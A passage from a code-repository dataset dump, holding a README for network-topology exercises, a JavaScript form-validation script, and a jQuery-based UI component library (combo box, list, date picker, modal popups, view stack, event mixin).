branch_name
stringclasses 149
values | text
stringlengths 23
89.3M
| directory_id
stringlengths 40
40
| languages
listlengths 1
19
| num_files
int64 1
11.8k
| repo_language
stringclasses 38
values | repo_name
stringlengths 6
114
| revision_id
stringlengths 40
40
| snapshot_id
stringlengths 40
40
|
|---|---|---|---|---|---|---|---|---|
refs/heads/main
|
<file_sep># Network Topologies eNSP _2017_
Exercises made in 2017 for the networks 1 course.
All topologies are made using eNSP.<file_sep>var MAXSTRINGLENGTH=20;
var MAXPASSLENGTH=256;
var MINPASSLENGTH=8;
function editar(nombre)
{
(document.getElementById(nombre)).style.background= "rgba(255, 226, 0, 0.3)";
return;
}
function estadonormal (id)
{
document.getElementById(id).style= "";
}
function validarpalabra(inputid,spanid)
{
var input = document.getElementById(inputid);
var span = document.getElementById(spanid);
var pat=/^([a-z]+$)/i;
if(!(pat.test(input.value)&&input.value.length<MAXSTRINGLENGTH)) //limita el tamaño y valida
{
input.style.background= "rgba(255, 0, 0, 0.3)";
span.style.display="inline";
}
else
{
input.style.background="rgba(0, 152, 0, 0.2)";
span.style.display="none";
}
return;
}
function validardni(inputid,spanid)
{
var input = document.getElementById(inputid);
var span = document.getElementById(spanid);
var pat=/^(\d{8}$)/;
if(!pat.test(input.value))
{
input.style.background= "rgba(255, 0, 0, 0.3)";
span.style.display="inline";
}
else
{
input.style.background="rgba(0, 152, 0, 0.2)";
span.style.display="none";
}
return;
}
function validarmail(inputid,spanid)
{
var input = document.getElementById(inputid);
var span = document.getElementById(spanid);
var pat=/^(\w+[@]\w+\.com$)/i;
if(!(pat.test(input.value)&&input.value.length<MAXSTRINGLENGTH)) //limita el tamaño y valida
{
input.style.background= "rgba(255, 0, 0, 0.3)";
span.style.display="inline";
}
else
{
input.style.background="rgba(0, 152, 0, 0.2)";
span.style.display="none";
}
return;
}
function validarletras(inputid,spanid)
{
var input = document.getElementById(inputid);
var span = document.getElementById(spanid);
var pat=/^([a-z]+$)/i;
if(!(pat.test(input.value)&&input.value.length<MAXSTRINGLENGTH)) //limita el tamaño y valida
{
input.style.background= "rgba(255, 0, 0, 0.3)";
span.style.display="inline";
}
else
{
input.style.background="rgba(0, 152, 0, 0.2)";
span.style.display="none";
}
return;
}
function validarcontrasena(inputid,spanid)
{
var input = document.getElementById(inputid);
var span = document.getElementById(spanid);
var pat=/^(.*$)/i;
if(!(pat.test(input.value) && input.value.length>=MINPASSLENGTH && input.value.length<MAXPASSLENGTH)) //limita el tamaño y valida
{
input.style.background= "rgba(255, 0, 0, 0.3)";
span.style.display="inline";
}
else
{
input.style.background="rgba(0, 152, 0, 0.2)";
span.style.display="none";
}
return;
}
function chequeaigualdad(inputid1,inputid2,spanid)
{
var input1 = document.getElementById(inputid1);
var input2 = document.getElementById(inputid2);
var span = document.getElementById(spanid);
if(!(input1.value==input2.value)) //limita el tamaño y valida
{
input1.style.background= "rgba(255, 0, 0, 0.3)";
span.style.display="inline";
}
else
{
input1.style.background="rgba(0, 152, 0, 0.2)";
span.style.display="none";
}
return;
}
function validarobligatorio(id)
{
if(document.getElementById(id).value==0)
{
document.getElementById("errordigitosobligatorio").style.display="inline";
}
else
{
document.getElementById("errordigitosobligatorio").style.display="none";
}
return;
}
|
855bca13a52dd31e1c263956fb163c331f9cb9fb
|
[
"Markdown",
"JavaScript"
] | 2
|
Markdown
|
Floating-Island/Network-Topologies-eNSP-_2017_
|
72c3dff247966d74011de01991dc2aa03093076b
|
5a2d2b13e76c05b26406ca36320b3cca14ec6bec
|
refs/heads/master
|
<file_sep>/**
* Title: loadingbox.js
* Description: loadingbox.js
* Author: huang.xinghui
* Created Date: 13-11-12 下午2:00
* Copyright: Copyright 2013 ZTESOFT, Inc.
*/
(function($) {
var ns = ztesoft.namespace('ztesoft.components');
var instance;
var LoadingBox = ns.LoadingBox = function() {
if (instance) {
return instance;
}
instance = this;
this.init();
};
LoadingBox.DEFAULTS = {
'template': '<div class="modal">' +
'<div class="modal-dialog">' +
'Loading' +
'</div>' +
'</div>'
};
LoadingBox.prototype.init = function() {
this.invokeCount = 0;
this.$element = $(LoadingBox.DEFAULTS.template);
};
LoadingBox.prototype.show = function() {
this.invokeCount++;
if (this.invokeCount === 1) {
ns.Modal.addPopUp(this.$element, true);
}
};
LoadingBox.prototype.hide = function() {
this.invokeCount--;
if (this.invokeCount === 0) {
ns.Modal.removePopUp(this.$element, true);
}
};
})(jQuery);<file_sep>(function(){
var ns = ztesoft.namespace('ztesoft.utils');
var MILLIS_PER_SECOND = 1000;
var MILLIS_PER_MINUTE = 60 * MILLIS_PER_SECOND;
var MILLIS_PER_HOUR = 60 * MILLIS_PER_MINUTE;
var MILLIS_PER_DAY = 24 * MILLIS_PER_HOUR;
var token = /<KEY>;
var i18n = {
dayNames: [
"Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat",
"Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"
],
monthNames: [
"Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec",
"January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"
]
};
function handleShorterMonth(originalDate, newDate) {
var result = newDate;
var originalDayOfMonth = originalDate.getDate();
if (originalDayOfMonth > result.getDate())
{
result = DateUtil.addDays(newDate, -(newDate.getDate()));
}
return result;
}
function formatDate(date, mask) {
date = date ? new Date(date) : new Date();
var d = date.getDate(),
m = date.getMonth(),
y = date.getFullYear(),
D = date.getDay(),
H = date.getHours(),
M = date.getMinutes(),
s = date.getSeconds(),
flags = {
d: d,
dd: paddingRight(d),
ddd: i18n.dayNames[D],
dddd: i18n.dayNames[D + 7],
m: m + 1,
mm: paddingRight(m + 1),
mmm: i18n.monthNames[m],
mmmm: i18n.monthNames[m + 12],
yyyy: y,
H: H,
HH: paddingRight(H),
M: M,
MM: paddingRight(M),
s: s,
ss: paddingRight(s)
};
return mask.replace(token, function($0) {
return flags[$0];
});
}
function paddingRight(value, length) {
value = String(value);
length = length || 2;
while (value.length < length) {
value = "0" + value;
}
return value;
}
function add(date, multiplier, num) {
var resultTime = date.getTime() + multiplier * num;
return new Date(resultTime);
}
var DateUtil = ns.DateUtil = {
'addMonths': function(date, months) {
var result = new Date(date.getTime());
result.setMonth(date.getMonth() + months);
result = handleShorterMonth(date, result);
return result;
},
'addDays': function(date, days) {
return add(date, MILLIS_PER_DAY, days);
},
'format': function(date, mask) {
return formatDate(date, mask);
}
};
})();<file_sep>(function($) {
var ns = ztesoft.namespace("ztesoft.components");
var ComboBox = ns.ComboBox = function(element, options) {
this.$element = $(element);
this.textField = this.$element.find('input');
this.addOn = this.$element.find('.input-group-addon');
$.extend(this, ComboBox.DEFAULTS, options);
this.addOn.on('click', $.proxy(this.show, this));
};
$.extend(ComboBox.prototype, ztesoft.events.Event);
ComboBox.DEFAULTS = {
'labelField': null,
'labelFunction': null
};
ComboBox.prototype.render = function() {
this.list = new ns.List(this.$element[0], {
'labelField': this.labelField,
'labelFunction': this.labelFunction,
'dataSource': this.dataSource
});
this.list.render();
this.list.$ul.addClass('popup');
this.list.on('itemClick', $.proxy(this._itemClickHandler, this));
};
ComboBox.prototype.selectedIndex = function(index) {
if (arguments.length === 0) {
return this._selectedIndex;
}
this._setSelectedIndex(index);
};
ComboBox.prototype.selectedItem = function(value) {
if (arguments.length === 0) {
return this._selectedItem;
}
this._selectedItem = value;
};
ComboBox.prototype._setSelectedIndex = function(index) {
this.list._setSelectedIndex(index);
this._selectedIndex = this.list.selectedIndex();
this._selectedItem = this.list.selectedItem();
this.textField.val(this.list.itemToLabel(this._selectedItem));
this.trigger('change', this._selectedItem);
};
ComboBox.prototype._itemClickHandler = function() {
this._selectedIndex = this.list.selectedIndex();
this._selectedItem = this.list.selectedItem();
this.textField.val(this.list.itemToLabel(this._selectedItem));
this.hide();
};
ComboBox.prototype.show = function() {
this.$element.addClass('open');
};
ComboBox.prototype.hide = function() {
this.$element.removeClass('open');
};
ComboBox.prototype.destroy = function() {
this.list.remove();
};
})(jQuery);<file_sep>/**
* Title: popup.js
* Description: popup.js
* Author: huang.xinghui
* Created Date: 13-11-15 上午11:06
* Copyright: Copyright 2013 ZTESOFT, Inc.
*/
(function($) {
var ns = ztesoft.namespace("ztesoft.components");
var TEMPLATE = {
'alert': '<div class="modal">' +
'<div class="modal-header">' +
'<button type="button" class="close js-close">×</button>' +
'<h4 class="modal-title">Alert</h4>' +
'</div>' +
'<div class="modal-body">' +
'<p>{{message}}</p>' +
'</div>' +
'<div class="modal-footer">' +
'<button type="button" class="btn btn-default js-close">Close</button>' +
'</div>' +
'</div>',
'info': '<div class="modal">' +
'<div class="modal-header">' +
'<button type="button" class="close js-close">×</button>' +
'<h4 class="modal-title">Information</h4>' +
'</div>' +
'<div class="modal-body">' +
'<p>{{message}}</p>' +
'</div>' +
'<div class="modal-footer">' +
'<button type="button" class="btn btn-default js-close">Close</button>' +
'</div>' +
'</div>',
'error': '<div class="modal">' +
'<div class="modal-header">' +
'<button type="button" class="close js-close">×</button>' +
'<h4 class="modal-title">Error</h4>' +
'</div>' +
'<div class="modal-body">' +
'<p>{{message}}</p>' +
'</div>' +
'<div class="modal-footer">' +
'<button type="button" class="btn btn-default js-close">Close</button>' +
'</div>' +
'</div>',
'confirm': '<div class="modal">' +
'<div class="modal-header">' +
'<button type="button" class="close js-close">×</button>' +
'<h4 class="modal-title">Confirm</h4>' +
'</div>' +
'<div class="modal-body">' +
'<p>{{message}}</p>' +
'</div>' +
'<div class="modal-footer">' +
'<button type="button" class="btn btn-primary js-ok">OK</button>' +
'<button type="button" class="btn btn-default js-close">Cancel</button>' +
'</div>' +
'</div>'
};
function Alert(message) {
this.message = message;
this.init();
};
Alert.prototype.init = function() {
this.$element = $(TEMPLATE.alert.replace('{{message}}', this.message));
ns.Modal.addPopUp(this.$element, true);
this.$element.find('.js-close').on('click', $.proxy(this._closeHandler, this));
};
Alert.prototype._closeHandler = function() {
ns.Modal.removePopUp(this.$element);
};
function Information(message) {
this.message = message;
this.init();
};
Information.prototype.init = function() {
this.$element = $(TEMPLATE.info.replace('{{message}}', this.message));
ns.Modal.addPopUp(this.$element);
this.$element.find('.js-close').on('click', $.proxy(this._closeHandler, this));
};
Information.prototype._closeHandler = function() {
ns.Modal.removePopUp(this.$element);
};
function Confirm(message, closeHandler) {
this.message = message;
this.closeHandler = closeHandler;
this.init();
};
Confirm.prototype.init = function() {
this.$element = $(TEMPLATE.confirm.replace('{{message}}', this.message));
ns.Modal.addPopUp(this.$element, true);
this.$element.find('.js-close').on('click', $.proxy(this._closeHandler, this));
this.$element.find('.js-ok').on('click', $.proxy(this._okHandler, this));
};
Confirm.prototype._closeHandler = function() {
ns.Modal.removePopUp(this.$element);
if (this.closeHandler) this.closeHandler(false);
};
Confirm.prototype._okHandler = function() {
ns.Modal.removePopUp(this.$element);
if (this.closeHandler) this.closeHandler(true);
};
ns.PopUp = {
'alert': function(message){
return new Alert(message);
},
'info': function(message){
return new Information(message);
},
'confirm': function(message, closeHandler) {
return new Confirm(message, closeHandler);
}
}
})(jQuery);<file_sep>(function() {
var ztesoft = window.ztesoft = window.ztesoft || {};
var StringProto = String.prototype;
var nativeTrim = StringProto.trim;
var rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;
ztesoft.trim = nativeTrim ?
function(text) {
return text == null ? "" : nativeTrim.call(text);
} :
function(text) {
return text == null ? "" : text.replace(rtrim, '');
}
;
ztesoft.addClass = function(element, cssClasses) {
if (cssClasses && element.setAttribute) {
var existingClasses = (' ' + (element.getAttribute('class') || '') + ' ')
.replace(/[\n\t]/g, " ");
_.each(cssClasses.split(' '), function(cssClass) {
cssClass = ztesoft.trim(cssClass);
if (existingClasses.indexOf(' ' + cssClass + ' ') === -1) {
existingClasses += cssClass + ' ';
}
});
element.setAttribute('class', ztesoft.trim(existingClasses));
}
};
ztesoft.removeClass = function(element, cssClasses) {
if (cssClasses && element.setAttribute) {
_.each(cssClasses.split(' '), function(cssClass) {
element.setAttribute('class', ztesoft.trim(
(" " + (element.getAttribute('class') || '') + " ")
.replace(/[\n\t]/g, " ")
.replace(" " + ztesoft.trim(cssClass) + " ", " "))
);
});
}
};
ztesoft.on = function(element, eventType, handler) {
};
ztesoft.off = function(element, eventType, handler) {
};
ztesoft.inherit = function(childCtor, parentCtor) {
/** @constructor */
function tempCtor() {};
tempCtor.prototype = parentCtor.prototype;
childCtor.superClass_ = parentCtor.prototype;
childCtor.prototype = new tempCtor();
/** @override */
childCtor.prototype.constructor = childCtor;
}
ztesoft.namespace = function(name) {
var parts = name.split('.');
var ns = window;
for (var part; parts.length && (part = parts.shift());) {
if (ns[part]) {
ns = ns[part];
} else {
ns = ns[part] = {};
}
}
return ns;
};
})();
(function() {
var ns = ztesoft.namespace("ztesoft.events");
var array = [];
var slice = array.slice;
ns.Event = {
on: function(name, callback, context) {
if (!eventsApi(this, 'on', name, [callback, context]) || !callback) return this;
this._events || (this._events = {});
var events = this._events[name] || (this._events[name] = []);
events.push({callback: callback, context: context, ctx: context || this});
return this;
},
once: function(name, callback, context) {
if (!eventsApi(this, 'once', name, [callback, context]) || !callback) return this;
var self = this;
var once = _.once(function() {
self.off(name, once);
callback.apply(this, arguments);
});
once._callback = callback;
return this.on(name, once, context);
},
off: function(name, callback, context) {
var retain, ev, events, names, i, l, j, k;
if (!this._events || !eventsApi(this, 'off', name, [callback, context])) return this;
if (!name && !callback && !context) {
this._events = {};
return this;
}
names = name ? [name] : _.keys(this._events);
for (i = 0, l = names.length; i < l; i++) {
name = names[i];
if (events = this._events[name]) {
this._events[name] = retain = [];
if (callback || context) {
for (j = 0, k = events.length; j < k; j++) {
ev = events[j];
if ((callback && callback !== ev.callback && callback !== ev.callback._callback) ||
(context && context !== ev.context)) {
retain.push(ev);
}
}
}
if (!retain.length) delete this._events[name];
}
}
return this;
},
trigger: function(name) {
if (!this._events) return this;
var args = slice.call(arguments, 1);
if (!eventsApi(this, 'trigger', name, args)) return this;
var events = this._events[name];
var allEvents = this._events.all;
if (events) triggerEvents(events, args);
if (allEvents) triggerEvents(allEvents, arguments);
return this;
},
stopListening: function(obj, name, callback) {
var listeningTo = this._listeningTo;
if (!listeningTo) return this;
var remove = !name && !callback;
if (!callback && typeof name === 'object') callback = this;
if (obj) (listeningTo = {})[obj._listenId] = obj;
for (var id in listeningTo) {
obj = listeningTo[id];
obj.off(name, callback, this);
if (remove || _.isEmpty(obj._events)) delete this._listeningTo[id];
}
return this;
}
}
var eventSplitter = /\s+/;
var eventsApi = function(obj, action, name, rest) {
if (!name) return true;
// Handle event maps.
if (typeof name === 'object') {
for (var key in name) {
obj[action].apply(obj, [key, name[key]].concat(rest));
}
return false;
}
// Handle space separated event names.
if (eventSplitter.test(name)) {
var names = name.split(eventSplitter);
for (var i = 0, l = names.length; i < l; i++) {
obj[action].apply(obj, [names[i]].concat(rest));
}
return false;
}
return true;
};
var triggerEvents = function(events, args) {
var ev, i = -1, l = events.length, a1 = args[0], a2 = args[1], a3 = args[2];
switch (args.length) {
case 0: while (++i < l) (ev = events[i]).callback.call(ev.ctx); return;
case 1: while (++i < l) (ev = events[i]).callback.call(ev.ctx, a1); return;
case 2: while (++i < l) (ev = events[i]).callback.call(ev.ctx, a1, a2); return;
case 3: while (++i < l) (ev = events[i]).callback.call(ev.ctx, a1, a2, a3); return;
default: while (++i < l) (ev = events[i]).callback.apply(ev.ctx, args);
}
};
})();
(function(){
var ns = ztesoft.namespace('ztesoft.utils');
var MILLIS_PER_SECOND = 1000;
var MILLIS_PER_MINUTE = 60 * MILLIS_PER_SECOND;
var MILLIS_PER_HOUR = 60 * MILLIS_PER_MINUTE;
var MILLIS_PER_DAY = 24 * MILLIS_PER_HOUR;
function handleShorterMonth(originalDate, newDate) {
var result = newDate;
var originalDayOfMonth = originalDate.getDate();
if (originalDayOfMonth > result.getDate())
{
result = DateUtil.addDays(newDate, -(newDate.getDate()));
}
return result;
}
function formatDate(date, format) {
}
function add(date, multiplier, num) {
var resultTime = date.getTime() + multiplier * num;
return new Date(resultTime);
}
var DateUtil = ns.DateUtil = {
'addMonths': function(date, months) {
var result = new Date(date.getTime());
result.setMonth(date.getMonth() + months);
result = handleShorterMonth(date, result);
return result;
},
'addDays': function(date, days) {
return add(date, MILLIS_PER_DAY, days);
},
'format': function(date, pattern) {
}
};
})();
(function() {
var ns = ztesoft.namespace("ztesoft.components");
var ComboBox = ns.ComboBox = function(element, options) {
this.element = element;
this.textField = this.element.querySelector('input');
this.addOn = this.element.querySelector('.input-group-addon');
_.extend(this, ComboBox.DEFAULTS, options);
$(this.addOn).on('click', _.bind(this.show, this));
};
_.extend(ComboBox.prototype, ztesoft.events.Event);
ComboBox.DEFAULTS = {
'labelField': null,
'labelFunction': null
}
ComboBox.prototype.render = function() {
// $(this.element).append('<ul class="dropdown-menu"></ul>');
var ul = document.createElement('ul');
ul.setAttribute('class', 'dropdown-menu');
this.element.appendChild(ul);
this.list = new ns.List(ul, {
'labelField': this.labelField,
'labelFunction': this.labelFunction,
'dataSource': this.dataSource
});
this.list.render();
this.list.on('itemClick', _.bind(this._itemClickHandler, this));
};
ComboBox.prototype.selectedIndex = function(index) {
if (arguments.length === 0) {
return this._selectedIndex;
}
this._setSelectedIndex(index);
};
ComboBox.prototype.selectedItem = function(value) {
if (arguments.length === 0) {
return this._selectedItem;
}
this._selectedItem = value;
};
ComboBox.prototype._setSelectedIndex = function(index) {
};
ComboBox.prototype._itemClickHandler = function() {
this._selectedIndex = this.list.selectedIndex();
this._selectedItem = this.list.selectedItem();
this.textField.value = this.list.itemToLabel(this._selectedItem);
this.hide();
};
ComboBox.prototype.show = function() {
ztesoft.addClass(this.element, 'open');
};
ComboBox.prototype.hide = function() {
ztesoft.removeClass(this.element, 'open');
};
ComboBox.prototype.destory = function() {
this.list.remove();
this.addOn.off('click');
};
})();
(function() {
var ns = ztesoft.namespace('ztesoft.components');
var DatePicker = ns.DatePicker = function(element, options) {
this.element = element;
this.$element = $(element);
_.extend(this, DatePicker.DEFAULTS, options);
};
DatePicker.DEFAULTS = {
'days':["Su", "Mo", "Tu", "We", "Th", "Fr", "Sa", "Su"],
'months':['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'],
'formatString':'yyyy-MM-dd',
'weekStart':0,
'disabledDays':[],
'selectableRange':[]
};
DatePicker.prototype.render = function() {
this.date = new Date();
this._picker = document.createElement('div');
this._picker.className = 'datepicker-dropdown dropdown-menu';
this._picker.innerHTML = '<table class="table-condensed">'+
'<thead>'+
'<tr>'+
'<th class="prev">«</th>'+
'<th colspan="5" class="datepicker-switch"></th>'+
'<th class="next">»</th>'+
'</tr>'+
'</thead>'+
'<tbody><tr><td colspan="7"></td></tr></tbody>'+
'</table>';
this._updateMonth();
var html = ['<tr>'];
var dowCnt = this.weekStart;
while (dowCnt < this.weekStart + 7) {
html.push('<th class="dow">' + this.days[dowCnt] + '</th>');
dowCnt++;
}
html.push('</tr>')
var thead = this._picker.querySelector('thead');
thead.innerHTML += html.join('');
this._updateFillDays();
document.body.appendChild(this._picker);
this.$element.on('click', _.bind(this.show, this));
$(this._picker).on('click', _.bind(this._clickHandler, this));
$(this._picker).on('dblclick', _.bind(this._okHandler, this));
$(document).on('click', _.bind(this._mouseClickOutsideHandler, this));
};
DatePicker.prototype._updateMonth = function() {
this._picker.querySelector('.datepicker-switch').textContent = this.months[this.date.getMonth()] + ' ' + this.date.getFullYear();
};
DatePicker.prototype._updateFillDays = function() {
var year = this.date.getFullYear();
var month = this.date.getMonth();
// var day = this.date.getDate();
var offset = this._getOffsetOfMonth(year, month);
var days = this._getNumberOfDaysInMonth(year, month);
var html = ['<tr>'];
for (var i = 0; i < offset; i++) {
html.push('<td></td>');
}
i = 1;
while (i <= days) {
if (offset == 0) {
html.push('<tr>');
}
html.push('<td class="day">' + i + '</td>');
if (offset == 6) {
html.push('</tr>');
offset = 0;
}
else {
offset++;
}
i++;
}
this._picker.querySelector('tbody').innerHTML = html.join('');
};
DatePicker.prototype._getOffsetOfMonth = function(year, month) {
var first = new Date(year, month, 1);
var offset = first.getDay() - this.weekStart;
return offset < 0 ? offset + 7 : offset;
};
DatePicker.prototype._getNumberOfDaysInMonth = function(year, month) {
var n;
if (month == 1) {
if (((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0))
n = 29;
else
n = 28;
}
else if (month == 3 || month == 5 || month == 8 || month == 10)
n = 30;
else
n = 31;
return n;
};
DatePicker.prototype._clickHandler = function(event) {
var target = event.target;
if (target.tagName == 'TD' && target.textContent) {
var active = this._picker.querySelector('.active');
if (active) {
ztesoft.removeClass(active, 'active');
}
ztesoft.addClass(target, 'active');
}
else if (target.className == 'prev') {
this.date = ztesoft.utils.DateUtil.addMonths(this.date, -1);
this._updateMonth();
this._updateFillDays();
}
else if (target.className == 'next') {
this.date = ztesoft.utils.DateUtil.addMonths(this.date, 1);
this._updateMonth();
this._updateFillDays();
}
};
DatePicker.prototype._okHandler = function(event) {
var target = event.target;
if (target.tagName == 'TD' && target.textContent) {
this.date.setDate(parseInt(target.textContent));
var year = this.date.getFullYear();
var month = this.date.getMonth() + 1;
var day = this.date.getDate();
if (month < 10) month = '0' + month;
if (day < 10) day = '0' + day;
this.element.value = year + '-' + month + '-' + day;
this.hide();
}
};
DatePicker.prototype._mouseClickOutsideHandler = function(event) {
if (!((event.target == this.element) || (event.target == this._picker) || this._picker.contains(event.target))) {
this.hide();
}
}
DatePicker.prototype.place = function() {
var box = this.element.getBoundingClientRect();
this._picker.style.left = box.left + 'px';
this._picker.style.top = box.top + box.height + 'px';
};
DatePicker.prototype.show = function() {
this._picker.style.display = 'block';
this.place();
};
DatePicker.prototype.hide = function() {
this._picker.style.display = 'none';
};
DatePicker.prototype.destory = function() {
this._picker.remove();
};
})();
(function() {
var ns = ztesoft.namespace("ztesoft.components");
var List = ns.List = function(element, options) {
this.dataSource = null;
this._selectedItem = null;
this._selectedIndex = -1;
this.element = element;
this.$element = $(element);
_.extend(this, List.DEFAULTS, options);
};
_.extend(List.prototype, ztesoft.events.Event);
List.prototype.render = function() {
var _this = this;
var html = [];
_.each(this.dataSource, function(item, index){
html.push('<li><a>' + _this.itemToLabel(item) + '</a></li>');
});
this.element.innerHTML = html.join('');
this.$element.on('click', _.bind(this._clickHandler, this));
};
List.prototype.itemToLabel = function(data) {
if (!data) {
return '';
}
if (this.labelFunction != null) {
return this.labelFunction(data);
}
else if (this.labelField != null) {
return data(this.labelField);
}
else {
return data;
}
};
List.prototype.selectedIndex = function(index) {
if (arguments.length === 0) {
return this._selectedIndex;
}
this._setSelectedIndex(index);
};
List.prototype.selectedItem = function(value) {
if (arguments.length === 0) {
return this._selectedItem;
}
this.selectedIndex(_.indexOf(this.dataSource, value))
};
List.prototype.append = function(item) {
var li = document.createElement('li');
li.innerHTML = this.itemToLabel(item);
this.element.appendChild(li);
this.dataSource.push(item);
};
List.prototype.appendAt = function(item, index) {
var li = document.createElement('li');
li.innerHTML = this.itemToLabel(item);
var refLi = this.element.children[index];
this.element.insertBefore(li, refLi);
this.dataSource.splice(index, 0, item);
};
List.prototype.remove = function(index) {
this.element.removeChild(this.element.children[index]);
this.dataSource.splice(index, 1);
};
List.prototype.update = function(item) {
var index = _.indexOf(this.dataSource, item);
var li = this.element.children[index];
li.innerHTML = this.itemToLabel(item);
};
List.prototype.destory = function() {
this.element.remove();
};
List.prototype.seekSelectedItem = function(data) {
var i, index = -1, n = this.dataSource.length;
if (this.dataKeyField) {
for (i = 0; i < n; i++) {
if (this.dataSource[i][dataKeyField] == data) {
index = i;
break;
}
}
}
else {
for (i = 0; i < n; i++) {
if (this.dataSource[i] == data) {
index = i;
break;
}
}
}
if (index != -1) {
this._setSelectedIndex(index);
}
};
List.prototype._setSelectedIndex = function(index) {
var oldIndex = this._selectedIndex;
if (oldIndex === index) {
return;
}
var children = this.element.children;
if (oldIndex !== -1) {
ztesoft.removeClass(children[oldIndex], 'active');
}
ztesoft.addClass(children[index], 'active');
this._selectedIndex = index;
this._selectedItem = this.dataSource[index];
this.trigger('change');
};
List.prototype._clickHandler = function(event) {
if (event.target.tagName === 'A') {
var index = _.indexOf(this.element.children, event.target.parentElement);
this.selectedIndex(index);
this.trigger('itemClick');
}
};
List.DEFAULTS = {
rowCount: 6,
labelField:null,
labelFunction:null,
dataKeyField:null
};
})();
(function() {
var ns = ztesoft.namespace("ztesoft.components");
var NumericStepper = ns.NumericStepper = function(element, options) {
_.extend(this, NumericStepper.DEFAULTS, options);
};
_.extend(NumericStepper.prototype, ztesoft.events.Events);
NumericStepper.prototype.value = function(value) {
if (arguments.length === 0) {
return this._value;
}
this._setValue(value);
};
NumericStepper.prototype._setValue = function(value) {
this.inputField.text = value;
this._value = value;
this.trigger('change');
};
NumericStepper.DEFAULTS = {
minimum: 0,
maximum: 10,
stepSize: 1
}
})();
(function() {
var ns = ztesoft.namespace('ztesoft.components');
var TabNavigator = ns.TabNavigator = function(element, options) {
this.element = element;
this.tabBar = this.element.querySelector('.nav');
this.tabConent = this.element.querySelector('.tab-content');
this._selectedIndex = 0;
$(this.tabBar).on('click', _.bind(this._tabClickHandler, this));
};
_.extend(TabNavigator.prototype, ztesoft.events.Event);
TabNavigator.prototype.selectedIndex = function(index) {
if (arguments.length === 0) {
return this._selectedIndex;
}
this._setSelectedIndex(index);
}
TabNavigator.prototype._setSelectedIndex = function(index) {
var oldIndex = this._selectedIndex;
if (oldIndex === index) {
return;
}
var children = this.tabBar.children;
if (oldIndex !== -1) {
ztesoft.removeClass(children[oldIndex], 'active');
ztesoft.removeClass(this.tabConent.querySelector(children[oldIndex].firstChild.getAttribute('href')), 'active');
}
ztesoft.addClass(children[index], 'active');
ztesoft.addClass(this.tabConent.querySelector(children[index].firstChild.getAttribute('href')), 'active');
this._selectedIndex = index;
this.trigger('change');
};
TabNavigator.prototype._tabClickHandler = function(event) {
var element = event.target;
if (element.tagName == 'A') {
event.preventDefault();
this._setSelectedIndex(_.indexOf(this.tabBar.children, element.parentElement));
}
}
})();
(function() {
var ns = ztesoft.namespace('ztesoft.components');
var ViewStack = ns.ViewStack = function(element, options) {
this.element = element;
var div = this.element.querySelector('.active');
if (div) {
this._selectedIndex = _.indexOf(this.element.children, div);
}
else {
this._selectedIndex = -1;
}
};
_.extend(ViewStack.prototype, ztesoft.events.Event);
ViewStack.prototype.selectedIndex = function(index) {
if (arguments.length === 0) {
return this._selectedIndex;
}
this._setSelectedIndex(index);
};
ViewStack.prototype.append = function(element) {
this.element.appendChild(li);
};
ViewStack.prototype.appendAt = function(element, index) {
var refElement = this.element.children[index];
this.element.insertBefore(element, refElement);
};
ViewStack.prototype._setSelectedId = function(id) {
var child = this.element.querySelector('.active');
this._setSelectedIndex(this.element.children.indexOf(child));
}
ViewStack.prototype._setSelectedIndex = function(index) {
var oldIndex = this._selectedIndex;
if (oldIndex === index) {
return;
}
var children = this.element.children;
if (oldIndex !== -1) {
ztesoft.removeClass(children[oldIndex], 'active');
}
ztesoft.addClass(children[index], 'active');
this._selectedIndex = index;
this.trigger('change');
};
})();<file_sep>corelib-js
==========
<file_sep>/**
* Title: modal.js
* Description: modal.js
* Author: huang.xinghui
* Created Date: 13-11-8 下午2:33
* Copyright: Copyright 2013 ZTESOFT, Inc.
*/
(function($) {
var popupInfo = [];
function createBackdrop() {
var $backdrop = $('<div class="modal-backdrop"></div>');
$backdrop.appendTo(document.body);
return $backdrop;
};
function addPopUp($element, modal) {
var popup = {'owner': $element};
if (modal) {
popup.modal = createBackdrop();
}
$element.appendTo(document.body);
$element.offset({'top': (document.body.clientHeight - $element.outerHeight()) >> 1,
'left': (document.body.clientWidth - $element.outerWidth()) >> 1});
popupInfo.push(popup);
};
function removePopUp($element) {
var n = popupInfo.length,
i = 0,
popup;
for (; i < n; i++) {
popup = popupInfo[i];
if (popup.owner == $element) {
popup.owner.remove();
if (popup.modal) {
popup.modal.remove();
}
popupInfo.slice(i, 1);
}
}
};
var ns = ztesoft.namespace("ztesoft.components");
ns.Modal = {
'addPopUp': addPopUp,
'removePopUp': removePopUp
};
})(jQuery);<file_sep>(function($) {
var ns = ztesoft.namespace('ztesoft.components');
var ViewStack = ns.ViewStack = function(element, options) {
this.$element = $(element);
};
$.extend(ViewStack.prototype, ztesoft.events.Event);
ViewStack.prototype.render = function() {
var active = this.$element.children('.active');
this._selectedIndex = this.$element.children().index(active);
};
ViewStack.prototype.selectedIndex = function(index) {
if (arguments.length === 0) {
return this._selectedIndex;
}
this._setSelectedIndex(index);
};
ViewStack.prototype._setSelectedIndex = function(index) {
if (this._selectedIndex === index) {
return;
}
this.$element.children('.active').removeClass('active');
this.$element.children().eq(index).addClass('active');
this.trigger('change', index);
};
})(jQuery);<file_sep>(function($) {
var ns = ztesoft.namespace("ztesoft.components");
var List = ns.List = function(element, options) {
this.$element = $(element);
this._selectedItem = null;
this._selectedIndex = -1;
$.extend(this, List.DEFAULTS, options);
};
$.extend(List.prototype, ztesoft.events.Event);
List.prototype.render = function() {
var _this = this;
var html = ['<ul class="list">'];
this.dataSource.forEach(function(item) {
html.push('<li><a href="#">' + _this.itemToLabel(item) + '</a></li>');
});
html.push('</ul>');
this.$ul = $(html.join(''));
this.$element.append(this.$ul);
this.$ul.on('click', $.proxy(this._clickHandler, this));
};
List.prototype.itemToLabel = function(data) {
if (!data) {
return '';
}
if (this.labelFunction != null) {
return this.labelFunction(data);
}
else if (this.labelField != null) {
return data[this.labelField];
}
else {
return data;
}
};
List.prototype.selectedIndex = function(index) {
if (arguments.length === 0) {
return this._selectedIndex;
}
var oldIndex = this._selectedIndex;
